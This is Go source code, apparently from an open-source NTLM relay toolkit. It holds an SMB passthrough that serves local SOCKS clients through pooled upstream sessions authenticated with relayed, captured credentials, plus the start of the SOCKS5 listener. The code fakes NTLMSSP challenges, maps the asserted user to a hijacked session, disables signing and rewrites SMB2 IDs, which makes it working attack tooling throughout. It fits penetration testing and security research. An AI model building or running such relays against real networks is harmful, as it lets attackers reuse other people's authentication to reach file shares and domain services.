if cmdOf(pkt) != smb.CommandSessionSetup {
|
||||
return fmt.Errorf("expected SessionSetup1, got command 0x%04x", cmdOf(pkt))
|
||||
}
|
||||
if err := p.replySessionSetup1(pkt); err != nil {
|
||||
return fmt.Errorf("reply SessionSetup1: %w", err)
|
||||
}
|
||||
|
||||
// Stage 3: SessionSetup leg 2.
|
||||
pkt, err = readNetBIOSPacket(p.Local)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read SessionSetup2: %w", err)
|
||||
}
|
||||
if cmdOf(pkt) != smb.CommandSessionSetup {
|
||||
return fmt.Errorf("expected SessionSetup2, got command 0x%04x", cmdOf(pkt))
|
||||
}
|
||||
if err := p.replySessionSetup2(pkt); err != nil {
|
||||
return fmt.Errorf("reply SessionSetup2: %w", err)
|
||||
}
|
||||
// Resolve may have refused to bind an upstream (no match); replySession-
|
||||
// Setup2 already wrote a LOGON_FAILURE for the client. Stop without
|
||||
// touching the upstream.
|
||||
if p.Upstream == nil || p.Upstream.Conn == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stage 4: forwarding loop.
|
||||
for {
|
||||
pkt, err = readNetBIOSPacket(p.Local)
|
||||
if err != nil {
|
||||
if errors.Is(err, io.EOF) || errors.Is(err, net.ErrClosed) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("read forwarded PDU: %w", err)
|
||||
}
|
||||
if !isSMB2(pkt) || len(pkt) < 64 {
|
||||
return fmt.Errorf("forwarding loop: not an SMB2 PDU")
|
||||
}
|
||||
if err := p.forward(pkt); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// forward translates and forwards one PDU. Locally-handled commands (Echo,
|
||||
// Logoff) reply directly without touching the upstream.
|
||||
func (p *SMBPassthrough) forward(pkt []byte) error {
|
||||
cmd := cmdOf(pkt)
|
||||
switch cmd {
|
||||
case smb.CommandEcho:
|
||||
return p.replyEcho(pkt)
|
||||
case smb.CommandLogoff:
|
||||
return p.replyLogoff(pkt)
|
||||
case smb.CommandCancel:
|
||||
// Cancel has no response; quietly drop.
|
||||
return nil
|
||||
}
|
||||
|
||||
// Translate per-command body fields outbound (local -> upstream). For
|
||||
// Close we stash the local FileID so we can drop the mapping after the
|
||||
// upstream confirms success.
|
||||
var closeLocalFID [16]byte
|
||||
if cmd == smb.CommandClose {
|
||||
off, _ := requestFileIDOffset(cmd)
|
||||
if len(pkt) >= off+16 {
|
||||
copy(closeLocalFID[:], pkt[off:off+16])
|
||||
}
|
||||
}
|
||||
if err := p.translateBodyOutbound(cmd, pkt); err != nil {
|
||||
return fmt.Errorf("translate outbound: %w", err)
|
||||
}
|
||||
|
||||
// Translate header fields (MessageID + TreeID + SessionID). The local
|
||||
// MessageID lives at offset 24 (8 bytes LE); SendRawPDU rewrites it to
|
||||
// the upstream connection's next outbound id, and the upstream's reply
|
||||
// carries that upstream id — we must stamp the local id back into the
|
||||
// response so the SOCKS client recognizes its own outstanding request.
|
||||
localMID := binary.LittleEndian.Uint64(pkt[24:32])
|
||||
localTID := binary.LittleEndian.Uint32(pkt[36:40])
|
||||
if cmd != smb.CommandTreeConnect {
|
||||
upstreamTID, ok := p.lookupTree(localTID)
|
||||
if !ok && localTID != 0 {
|
||||
return p.replyError(pkt, smb.StatusInvalidParameter)
|
||||
}
|
||||
binary.LittleEndian.PutUint32(pkt[36:40], upstreamTID)
|
||||
}
|
||||
binary.LittleEndian.PutUint64(pkt[40:48], p.upstreamSessionID)
|
||||
// Zero the signature region; SendRawPDU will (no-op) re-sign per the
|
||||
// upstream connection's negotiated state. The relay forces signing off.
|
||||
for i := 48; i < 64; i++ {
|
||||
pkt[i] = 0
|
||||
}
|
||||
|
||||
p.Upstream.mu.Lock()
|
||||
p.Upstream.Touch()
|
||||
resp, err := p.Upstream.Conn.SendRawPDU(pkt)
|
||||
p.Upstream.mu.Unlock()
|
||||
if err != nil {
|
||||
// Upstream connection is broken — flag the pooled session dead so
|
||||
// subsequent SOCKS connections route to a sibling (if any) and drop
|
||||
// this SOCKS connection. The prune sweep will close + evict the dead
|
||||
// entry.
|
||||
p.Upstream.MarkDead()
|
||||
return fmt.Errorf("upstream SendRawPDU: %w", err)
|
||||
}
|
||||
if len(resp) < 64 || !isSMB2(resp) {
|
||||
p.Upstream.MarkDead()
|
||||
return fmt.Errorf("upstream returned malformed PDU (%d bytes)", len(resp))
|
||||
}
|
||||
|
||||
// Translate header back (upstream -> local): MessageID + SessionID.
|
||||
binary.LittleEndian.PutUint64(resp[24:32], localMID)
|
||||
binary.LittleEndian.PutUint64(resp[40:48], p.localSessionID)
|
||||
respCmd := cmdOf(resp)
|
||||
respStatus := binary.LittleEndian.Uint32(resp[8:12])
|
||||
if cmd == smb.CommandTreeConnect && respStatus == smb.StatusOk {
|
||||
upstreamTID := binary.LittleEndian.Uint32(resp[36:40])
|
||||
newLocalTID := p.allocTree(upstreamTID)
|
||||
binary.LittleEndian.PutUint32(resp[36:40], newLocalTID)
|
||||
} else if cmd == smb.CommandTreeDisconnect && respStatus == smb.StatusOk {
|
||||
p.dropTree(localTID)
|
||||
binary.LittleEndian.PutUint32(resp[36:40], localTID)
|
||||
} else {
|
||||
// Echo back the local TID so the client sees its own TreeID.
|
||||
binary.LittleEndian.PutUint32(resp[36:40], localTID)
|
||||
}
|
||||
|
||||
// Translate response body (FileID swaps for Create/Close/IoCtl etc.).
|
||||
if err := p.translateBodyInbound(respCmd, cmd, resp, respStatus); err != nil {
|
||||
return fmt.Errorf("translate inbound: %w", err)
|
||||
}
|
||||
if cmd == smb.CommandClose && respStatus == smb.StatusOk {
|
||||
p.dropFile(closeLocalFID)
|
||||
}
|
||||
|
||||
// Zero the signature region in the response (the local client doesn't
|
||||
// verify — we negotiated signing off).
|
||||
for i := 48; i < 64; i++ {
|
||||
resp[i] = 0
|
||||
}
|
||||
|
||||
if err := writeNetBIOSPacket(p.Local, resp); err != nil {
|
||||
return fmt.Errorf("write forwarded reply: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// translateBodyOutbound rewrites local FileIDs in the PDU body to upstream
|
||||
// FileIDs in place. No-op for commands that don't carry a FileID.
|
||||
func (p *SMBPassthrough) translateBodyOutbound(cmd uint16, pkt []byte) error {
|
||||
off, ok := requestFileIDOffset(cmd)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if len(pkt) < off+16 {
|
||||
return fmt.Errorf("PDU too short for FileID at +%d (cmd=0x%04x)", off, cmd)
|
||||
}
|
||||
var local [16]byte
|
||||
copy(local[:], pkt[off:off+16])
|
||||
upstream, ok := p.lookupFile(local)
|
||||
if !ok {
|
||||
return fmt.Errorf("forwarding cmd 0x%04x with unknown local FileID %s", cmd, hex.EncodeToString(local[:]))
|
||||
}
|
||||
copy(pkt[off:off+16], upstream)
|
||||
return nil
|
||||
}
|
||||
|
||||
// translateBodyInbound rewrites upstream FileIDs in the response body back to
|
||||
// local FileIDs. For Create responses we allocate a new local FileID.
|
||||
func (p *SMBPassthrough) translateBodyInbound(respCmd uint16, reqCmd uint16, resp []byte, status uint32) error {
|
||||
switch respCmd {
|
||||
case smb.CommandCreate:
|
||||
if status != smb.StatusOk {
|
||||
return nil
|
||||
}
|
||||
const off = 64 + 64 // 64-byte header + 64 bytes of CreateRes preamble = FileID at +128
|
||||
if len(resp) < off+16 {
|
||||
return fmt.Errorf("CreateRes too short")
|
||||
}
|
||||
var upstreamFID [16]byte
|
||||
copy(upstreamFID[:], resp[off:off+16])
|
||||
localFID := p.allocFile(upstreamFID)
|
||||
copy(resp[off:off+16], localFID[:])
|
||||
case smb.CommandClose:
|
||||
// CloseRes carries no FileID; mapping cleanup happens in forward().
|
||||
case smb.CommandIOCtl:
|
||||
// IoCtlRes has FileID at offset 64+8 = 72. Rewrite back to local.
|
||||
const off = 64 + 8
|
||||
if len(resp) < off+16 {
|
||||
return nil
|
||||
}
|
||||
var upstreamFID [16]byte
|
||||
copy(upstreamFID[:], resp[off:off+16])
|
||||
// Find the local FileID that maps to this upstream FileID (linear
|
||||
// scan; the mapping tables are tiny).
|
||||
if local, ok := p.findLocalByUpstream(upstreamFID); ok {
|
||||
copy(resp[off:off+16], local[:])
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// dropFile removes the local->upstream FileID mapping for the supplied local
|
||||
// FileID. Idempotent.
|
||||
func (p *SMBPassthrough) dropFile(local [16]byte) {
|
||||
p.tableMu.Lock()
|
||||
delete(p.files, local)
|
||||
p.tableMu.Unlock()
|
||||
}
|
||||
|
||||
// findLocalByUpstream returns the local FileID that maps to the given upstream
|
||||
// FileID, or zero/false if not found.
|
||||
func (p *SMBPassthrough) findLocalByUpstream(upstream [16]byte) ([16]byte, bool) {
|
||||
p.tableMu.Lock()
|
||||
defer p.tableMu.Unlock()
|
||||
for local, up := range p.files {
|
||||
if len(up) == 16 && [16]byte(*(*[16]byte)(up)) == upstream {
|
||||
return local, true
|
||||
}
|
||||
}
|
||||
return [16]byte{}, false
|
||||
}
|
||||
|
||||
// requestFileIDOffset returns the byte offset (from the start of the PDU)
|
||||
// where the FileID field lives in the body of the named request, or 0+false
|
||||
// if the request type doesn't carry one.
|
||||
func requestFileIDOffset(cmd uint16) (int, bool) {
|
||||
const hdr = 64
|
||||
switch cmd {
|
||||
case smb.CommandClose:
|
||||
return hdr + 8, true
|
||||
case smb.CommandRead:
|
||||
return hdr + 16, true
|
||||
case smb.CommandWrite:
|
||||
return hdr + 16, true
|
||||
case smb.CommandQueryDirectory:
|
||||
return hdr + 8, true
|
||||
case smb.CommandQueryInfo:
|
||||
return hdr + 24, true
|
||||
case smb.CommandSetInfo:
|
||||
return hdr + 16, true
|
||||
case smb.CommandIOCtl:
|
||||
return hdr + 8, true
|
||||
case smb.CommandFlush:
|
||||
return hdr + 8, true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
// lookupTree looks up a local TID in the translation map.
|
||||
func (p *SMBPassthrough) lookupTree(localTID uint32) (uint32, bool) {
|
||||
p.tableMu.Lock()
|
||||
defer p.tableMu.Unlock()
|
||||
v, ok := p.trees[localTID]
|
||||
return v, ok
|
||||
}
|
||||
|
||||
func (p *SMBPassthrough) allocTree(upstreamTID uint32) uint32 {
|
||||
p.tableMu.Lock()
|
||||
defer p.tableMu.Unlock()
|
||||
id := p.nextTID
|
||||
p.nextTID++
|
||||
p.trees[id] = upstreamTID
|
||||
return id
|
||||
}
|
||||
|
||||
func (p *SMBPassthrough) dropTree(localTID uint32) {
|
||||
p.tableMu.Lock()
|
||||
defer p.tableMu.Unlock()
|
||||
delete(p.trees, localTID)
|
||||
}
|
||||
|
||||
// lookupFile returns the upstream FileID bytes for the given local FileID.
|
||||
func (p *SMBPassthrough) lookupFile(local [16]byte) ([]byte, bool) {
|
||||
p.tableMu.Lock()
|
||||
defer p.tableMu.Unlock()
|
||||
v, ok := p.files[local]
|
||||
return v, ok
|
||||
}
|
||||
|
||||
// allocFile assigns a fresh local FileID and stores the local->upstream
|
||||
// mapping. Returns the synthesized local FileID.
|
||||
func (p *SMBPassthrough) allocFile(upstream [16]byte) [16]byte {
|
||||
var local [16]byte
|
||||
p.tableMu.Lock()
|
||||
p.nextFile++
|
||||
binary.LittleEndian.PutUint64(local[:8], p.nextFile)
|
||||
binary.LittleEndian.PutUint64(local[8:], 0xCAFEBABEDEADBEEF)
|
||||
stored := make([]byte, 16)
|
||||
copy(stored, upstream[:])
|
||||
p.files[local] = stored
|
||||
p.tableMu.Unlock()
|
||||
return local
|
||||
}
|
||||
|
||||
// replyEcho replies StatusOk to a local Echo without touching the upstream.
|
||||
func (p *SMBPassthrough) replyEcho(req []byte) error {
|
||||
resp := buildResponseHeader(req, smb.CommandEcho, smb.StatusOk, p.localSessionID)
|
||||
resp = append(resp, []byte{4, 0, 0, 0}...) // StructureSize=4, Reserved=0
|
||||
return writeNetBIOSPacket(p.Local, resp)
|
||||
}
|
||||
|
||||
// replyLogoff replies StatusOk and closes the local connection (passthrough
|
||||
// returns when readNetBIOSPacket sees EOF). Upstream session is preserved.
|
||||
func (p *SMBPassthrough) replyLogoff(req []byte) error {
|
||||
resp := buildResponseHeader(req, smb.CommandLogoff, smb.StatusOk, p.localSessionID)
|
||||
resp = append(resp, []byte{4, 0, 0, 0}...) // StructureSize=4, Reserved=0
|
||||
if err := writeNetBIOSPacket(p.Local, resp); err != nil {
|
||||
return err
|
||||
}
|
||||
return io.EOF
|
||||
}
|
||||
|
||||
// replyError sends an SMB2 error response with the given NT status.
|
||||
func (p *SMBPassthrough) replyError(req []byte, status uint32) error {
|
||||
resp := buildResponseHeader(req, cmdOf(req), status, p.localSessionID)
|
||||
// SMB2 ERROR Response (MS-SMB2 2.2.2) — minimal.
|
||||
body := []byte{
|
||||
9, 0, // StructureSize
|
||||
0, // ErrorContextCount
|
||||
0, // Reserved
|
||||
0, 0, 0, 0, // ByteCount=0
|
||||
0, // ErrorData
|
||||
}
|
||||
resp = append(resp, body...)
|
||||
return writeNetBIOSPacket(p.Local, resp)
|
||||
}
|
||||
|
||||
// replyNegotiate writes a synthetic SMB 2.1 NegotiateRes to the local client.
|
||||
// SecurityMode = 0 (signing off), no encryption, NTLMSSP only.
|
||||
func (p *SMBPassthrough) replyNegotiate(req []byte) error {
|
||||
res := smb.NewNegotiateRes()
|
||||
res.Header = parseHeader(req)
|
||||
res.Header.Status = smb.StatusOk
|
||||
res.Header.Command = smb.CommandNegotiate
|
||||
res.Header.Flags = smb.SMB2_FLAGS_SERVER_TO_REDIR
|
||||
res.Header.Credits = 1
|
||||
res.DialectRevision = smb.DialectSmb_2_1
|
||||
res.SecurityMode = smb.SecurityModeSigningEnabled
|
||||
res.Capabilities = smb.GlobalCapLargeMTU
|
||||
res.MaxReadSize = 65536
|
||||
res.MaxWriteSize = 65536
|
||||
res.MaxTransactSize = 65536
|
||||
res.SystemTime = ntlmssp.ConvertToFileTime(time.Now())
|
||||
res.ServerStartTime = res.SystemTime
|
||||
|
||||
guid := make([]byte, 16)
|
||||
if _, err := rand.Read(guid); err != nil {
|
||||
return fmt.Errorf("rand for ServerGuid: %w", err)
|
||||
}
|
||||
res.ServerGuid = guid
|
||||
|
||||
res.SecurityBlob = &gss.NegTokenInit{
|
||||
OID: gss.SpnegoOid,
|
||||
Data: gss.NegTokenInitData{
|
||||
MechTypes: []asn1.ObjectIdentifier{gss.NtLmSSPMechTypeOid},
|
||||
},
|
||||
}
|
||||
|
||||
buf, err := encoder.Marshal(&res)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return writeNetBIOSPacket(p.Local, buf)
|
||||
}
|
||||
|
||||
// writeMultiProtoNeg writes the SMB2_ALL "please re-negotiate in SMB2" reply
|
||||
// for the legacy SMB1 multi-protocol Negotiate prologue.
|
||||
func (p *SMBPassthrough) writeMultiProtoNeg() error {
|
||||
res := smb.NewNegotiateRes()
|
||||
res.Header = smb.Header{
|
||||
ProtocolID: []byte(smb.ProtocolSmb2),
|
||||
StructureSize: 64,
|
||||
Status: smb.StatusOk,
|
||||
Command: smb.CommandNegotiate,
|
||||
Credits: 1,
|
||||
Flags: smb.SMB2_FLAGS_SERVER_TO_REDIR,
|
||||
Signature: make([]byte, 16),
|
||||
}
|
||||
res.DialectRevision = smb.DialectSmb2_ALL
|
||||
res.SecurityMode = smb.SecurityModeSigningEnabled
|
||||
res.MaxReadSize = 65536
|
||||
res.MaxWriteSize = 65536
|
||||
res.MaxTransactSize = 65536
|
||||
res.SystemTime = ntlmssp.ConvertToFileTime(time.Now())
|
||||
res.ServerStartTime = res.SystemTime
|
||||
guid := make([]byte, 16)
|
||||
if _, err := rand.Read(guid); err != nil {
|
||||
return fmt.Errorf("rand for ServerGuid: %w", err)
|
||||
}
|
||||
res.ServerGuid = guid
|
||||
res.SecurityBlob = &gss.NegTokenInit{
|
||||
OID: gss.SpnegoOid,
|
||||
Data: gss.NegTokenInitData{
|
||||
MechTypes: []asn1.ObjectIdentifier{gss.NtLmSSPMechTypeOid},
|
||||
},
|
||||
}
|
||||
buf, err := encoder.Marshal(&res)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return writeNetBIOSPacket(p.Local, buf)
|
||||
}
|
||||
|
||||
// replySessionSetup1 builds a synthetic NTLMSSP CHALLENGE wrapped in a
|
||||
// NegTokenResp and replies with STATUS_MORE_PROCESSING_REQUIRED. The
|
||||
// challenge is opaque to us — we never validate the corresponding
|
||||
// AUTHENTICATE.
|
||||
func (p *SMBPassthrough) replySessionSetup1(req []byte) error {
|
||||
var ssreq smb.SessionSetupReq
|
||||
if err := encoder.Unmarshal(req, &ssreq); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
srv := &ntlmssp.Server{
|
||||
TargetName: "GO-SMB-RELAY",
|
||||
NetBIOSName: "GO-SMB-RELAY",
|
||||
NetBIOSDomain: "WORKGROUP",
|
||||
}
|
||||
|
||||
// Peel the inner NTLMSSP NEGOTIATE token out of NegTokenInit.
|
||||
var init gss.NegTokenInit
|
||||
if err := encoder.Unmarshal(ssreq.SecurityBlob, &init); err != nil {
|
||||
return fmt.Errorf("decode NegTokenInit: %w", err)
|
||||
}
|
||||
if len(init.Data.MechToken) == 0 {
|
||||
return fmt.Errorf("SessionSetup1: empty MechToken")
|
||||
}
|
||||
chall, err := srv.AcceptNegotiate(init.Data.MechToken)
|
||||
if err != nil {
|
||||
return fmt.Errorf("AcceptNegotiate: %w", err)
|
||||
}
|
||||
|
||||
resp := gss.NegTokenResp{
|
||||
State: asn1.Enumerated(gss.GssStateAcceptIncomplete),
|
||||
SupportedMech: gss.NtLmSSPMechTypeOid,
|
||||
ResponseToken: chall,
|
||||
}
|
||||
respBytes, err := encoder.Marshal(&resp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return p.writeSessionSetupRes(req, smb.StatusMoreProcessingRequired, 0, respBytes, p.localSessionID)
|
||||
}
|
||||
|
||||
// replySessionSetup2 parses the inbound NTLMSSP AUTHENTICATE to learn the
|
||||
// username/domain the SOCKS client is asserting, optionally calls Resolve to
|
||||
// bind a pooled upstream session, then replies STATUS_OK (or
|
||||
// STATUS_LOGON_FAILURE if no matching pool entry exists). SessionFlagIsGuest
|
||||
// is set so the client knows signing/encryption are off.
|
||||
func (p *SMBPassthrough) replySessionSetup2(req []byte) error {
|
||||
if p.Resolve != nil {
|
||||
domain, user, err := extractAuthUser(req)
|
||||
if err != nil {
|
||||
p.Logger.Debugf("extract AUTHENTICATE user: %v", err)
|
||||
}
|
||||
p.Upstream = p.Resolve(p.Target, domain, user)
|
||||
if p.Upstream == nil || p.Upstream.Conn == nil {
|
||||
p.Logger.Debugf("no pooled session for target=%s user=%s\\%s", p.Target, domain, user)
|
||||
// Reply LOGON_FAILURE so the SOCKS client sees auth rejection
|
||||
// rather than a stalled connection.
|
||||
return p.writeSessionSetupRes(req, smb.StatusLogonFailure, 0, nil, p.localSessionID)
|
||||
}
|
||||
p.upstreamSessionID = p.Upstream.Conn.UpstreamSessionID()
|
||||
}
|
||||
resp := gss.NegTokenResp{
|
||||
State: asn1.Enumerated(gss.GssStateAcceptCompleted),
|
||||
}
|
||||
respBytes, err := encoder.Marshal(&resp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return p.writeSessionSetupRes(req, smb.StatusOk, smb.SessionFlagIsGuest, respBytes, p.localSessionID)
|
||||
}
|
||||
|
||||
// extractAuthUser peels the inbound NTLMSSP AUTHENTICATE out of the
|
||||
// SessionSetup leg-2 blob and returns the asserted (domain, user) pair as
|
||||
// UTF-8 strings.
|
||||
func extractAuthUser(req []byte) (domain, user string, err error) {
|
||||
var ssreq smb.SessionSetupReq
|
||||
if err = encoder.Unmarshal(req, &ssreq); err != nil {
|
||||
return "", "", fmt.Errorf("decode SessionSetupReq: %w", err)
|
||||
}
|
||||
var resp gss.NegTokenResp
|
||||
if err = encoder.Unmarshal(ssreq.SecurityBlob, &resp); err != nil {
|
||||
return "", "", fmt.Errorf("decode NegTokenResp: %w", err)
|
||||
}
|
||||
if len(resp.ResponseToken) == 0 {
|
||||
return "", "", fmt.Errorf("empty ResponseToken")
|
||||
}
|
||||
var auth ntlmssp.Authenticate
|
||||
if err = encoder.Unmarshal(resp.ResponseToken, &auth); err != nil {
|
||||
return "", "", fmt.Errorf("decode NTLMSSP Authenticate: %w", err)
|
||||
}
|
||||
user, _ = encoder.FromUnicodeString(auth.UserName)
|
||||
domain, _ = encoder.FromUnicodeString(auth.DomainName)
|
||||
return domain, user, nil
|
||||
}
|
||||
|
||||
// writeSessionSetupRes assembles and sends a SessionSetupRes.
|
||||
func (p *SMBPassthrough) writeSessionSetupRes(req []byte, status uint32, flags uint16, blob []byte, sessionID uint64) error {
|
||||
res := smb.SessionSetupRes{
|
||||
Header: parseHeader(req),
|
||||
StructureSize: 9,
|
||||
Flags: flags,
|
||||
SecurityBlob: blob,
|
||||
}
|
||||
res.Header.Status = status
|
||||
res.Header.Command = smb.CommandSessionSetup
|
||||
res.Header.Flags = smb.SMB2_FLAGS_SERVER_TO_REDIR
|
||||
res.Header.Credits = 1
|
||||
res.Header.SessionID = sessionID
|
||||
res.Header.Signature = make([]byte, 16)
|
||||
|
||||
buf, err := encoder.Marshal(&res)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return writeNetBIOSPacket(p.Local, buf)
|
||||
}
|
||||
|
||||
// readNetBIOSPacket reads one NetBIOS-framed SMB packet from c.
|
||||
func readNetBIOSPacket(c net.Conn) ([]byte, error) {
|
||||
var size uint32
|
||||
if err := binary.Read(c, binary.BigEndian, &size); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if size > 0x00FFFFFF {
|
||||
return nil, fmt.Errorf("invalid NetBIOS frame length 0x%x", size)
|
||||
}
|
||||
buf := make([]byte, size)
|
||||
if _, err := io.ReadFull(c, buf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
// writeNetBIOSPacket writes one NetBIOS-framed SMB packet to c.
|
||||
func writeNetBIOSPacket(c net.Conn, pkt []byte) error {
|
||||
hdr := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(hdr, uint32(len(pkt)))
|
||||
if _, err := c.Write(hdr); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := c.Write(pkt)
|
||||
return err
|
||||
}
|
||||
|
||||
// isSMB2 reports whether buf begins with the SMB2 protocol id.
|
||||
func isSMB2(buf []byte) bool {
|
||||
return len(buf) >= 4 && string(buf[:4]) == smb.ProtocolSmb2
|
||||
}
|
||||
|
||||
// cmdOf returns the SMB2 Command field of the supplied PDU, or 0xffff if the
|
||||
// buffer is too short.
|
||||
func cmdOf(buf []byte) uint16 {
|
||||
if len(buf) < 14 {
|
||||
return 0xffff
|
||||
}
|
||||
return binary.LittleEndian.Uint16(buf[12:14])
|
||||
}
|
||||
|
||||
// parseHeader unmarshals the SMB2 header out of an inbound PDU. Used by the
|
||||
// synthetic-reply paths to echo MessageID/CreditCharge/etc. A short or
|
||||
// malformed PDU yields a zero header; we log because reaching this with bad
|
||||
// input means an upstream framing bug, not a wire-level adversarial input
|
||||
// (callers already gate on NetBIOS framing).
|
||||
func parseHeader(pkt []byte) smb.Header {
|
||||
var h smb.Header
|
||||
if len(pkt) < 64 {
|
||||
log.Errorf("parseHeader called with short pkt (%d bytes)", len(pkt))
|
||||
return h
|
||||
}
|
||||
if err := encoder.Unmarshal(pkt[:64], &h); err != nil {
|
||||
log.Errorf("parseHeader decode: %v", err)
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
// buildResponseHeader emits the 64-byte SMB2 response header bytes for an
|
||||
// inbound request, returning a fresh slice with the body length to follow.
|
||||
func buildResponseHeader(req []byte, command uint16, status uint32, sessionID uint64) []byte {
|
||||
h := parseHeader(req)
|
||||
out := smb.Header{
|
||||
ProtocolID: []byte(smb.ProtocolSmb2),
|
||||
StructureSize: 64,
|
||||
CreditCharge: h.CreditCharge,
|
||||
Status: status,
|
||||
Command: command,
|
||||
Credits: 1,
|
||||
Flags: smb.SMB2_FLAGS_SERVER_TO_REDIR,
|
||||
MessageID: h.MessageID,
|
||||
TreeID: h.TreeID,
|
||||
SessionID: sessionID,
|
||||
Signature: make([]byte, 16),
|
||||
}
|
||||
buf, err := encoder.Marshal(out)
|
||||
if err != nil {
|
||||
// Caller would already be in trouble; return an empty buffer.
|
||||
return nil
|
||||
}
|
||||
return buf
|
||||
}
|
||||
+309
@@ -0,0 +1,309 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// SOCKS5 reply codes (RFC 1928).
|
||||
const (
|
||||
socksReplySuccess byte = 0x00
|
||||
socksReplyGeneralFailure byte = 0x01
|
||||
socksReplyConnNotAllowed byte = 0x02
|
||||
socksReplyHostUnreachable byte = 0x04
|
||||
socksReplyConnRefused byte = 0x05
|
||||
socksReplyCmdNotSupported byte = 0x07
|
||||
socksReplyAddrTypeNotSupported byte = 0x08
|
||||
)
|
||||
|
||||
const (
|
||||
socksCmdConnect byte = 0x01
|
||||
|
||||
socksAtypIPv4 byte = 0x01
|
||||
socksAtypDomain byte = 0x03
|
||||
socksAtypIPv6 byte = 0x04
|
||||
)
|
||||
|
||||
// socksServer accepts SOCKS5 CONNECT requests, looks up the target in the
|
||||
// session pool, and dispatches to the SMB raw-PDU passthrough.
|
||||
type socksServer struct {
|
||||
rs *RelayServer
|
||||
logger server.Logger
|
||||
}
|
||||
|
||||
func newSocksServer(rs *RelayServer) *socksServer {
|
||||
return &socksServer{rs: rs, logger: rs.logger()}
|
||||
}
|
||||
|
||||
// serve accepts SOCKS5 connections until ln is closed.
|
||||
func (s *socksServer) serve(ln net.Listener) {
|
||||
for {
|
||||
nc, err := ln.Accept()
|
||||
if err != nil {
|
||||
if errors.Is(err, net.ErrClosed) {
|
||||
return
|
||||
}
|
||||
s.logger.Errorf("socks: accept: %v", err)
|
||||
return
|
||||
}
|
||||
s.rs.wg.Add(1)
|
||||
go func(c net.Conn) {
|
||||
defer s.rs.wg.Done()
|
||||
defer c.Close()
|
||||
s.handle(c)
|
||||
}(nc)
|
||||
}
|
||||
}
|
||||
|
||||
// handle drives one SOCKS5 client through method negotiation, request, and
|
||||
// dispatch. The pool lookup is deferred to passthrough-time: for SMB,
|
||||
// SessionSetup leg 2 carries the username we filter on (via Resolve →
|
||||
// resolveUpstream). HTTP and LDAP passthrough do not filter on any inbound
|
||||
// identity — the pinned upstream's captured credentials are used as-is.
|
||||
//
|
||||
// Only the target is known at this point — but if no pooled session matches
|
||||
// the target at all, refuse early so the SOCKS client sees a clear rejection
|
||||
// instead of going through a useless SMB handshake.
|
||||
//
|
||||
// Note: SOCKS5 method negotiation accepts only no-auth (0x00). The SOCKS
|
||||
// client therefore cannot prove an identity at the SOCKS layer; treat the
|
||||
// listener as trusted-local-tools-only.
|
||||
func (s *socksServer) handle(c net.Conn) {
|
||||
target, err := socks5Handshake(c)
|
||||
if err != nil {
|
||||
s.logger.Infof("socks: handshake from %s: %v", c.RemoteAddr(), err)
|
||||
return
|
||||
}
|
||||
|
||||
matches := s.rs.pool.FindMatches(target, "")
|
||||
if len(matches) == 0 {
|
||||
s.logger.Infof("socks: no pooled session for target %s (request from %s)", target, c.RemoteAddr())
|
||||
_ = writeSocksReply(c, socksReplyConnRefused, c.LocalAddr())
|
||||
return
|
||||
}
|
||||
// HTTP, LDAP, and SMB upstreams share the same pool keyed by host:port.
|
||||
// Pick the passthrough kind from the first candidate; entries for any
|
||||
// given target are all of the same kind (an ldap://dc01:636 target never
|
||||
// collides with an smb://dc01:636 target on the same listener config).
|
||||
kind := pickUpstreamKind(matches[0])
|
||||
s.logger.Debugf("socks: %d match(es) for target=%s; first entry kind=%v dead=%v",
|
||||
len(matches), target, kind, matches[0].IsDead())
|
||||
|
||||
if err := writeSocksReply(c, socksReplySuccess, c.LocalAddr()); err != nil {
|
||||
s.logger.Debugf("socks: reply to %s: %v", c.RemoteAddr(), err)
|
||||
return
|
||||
}
|
||||
if cb := s.rs.Config.OnSocksClient; cb != nil {
|
||||
cb(c.RemoteAddr(), target)
|
||||
}
|
||||
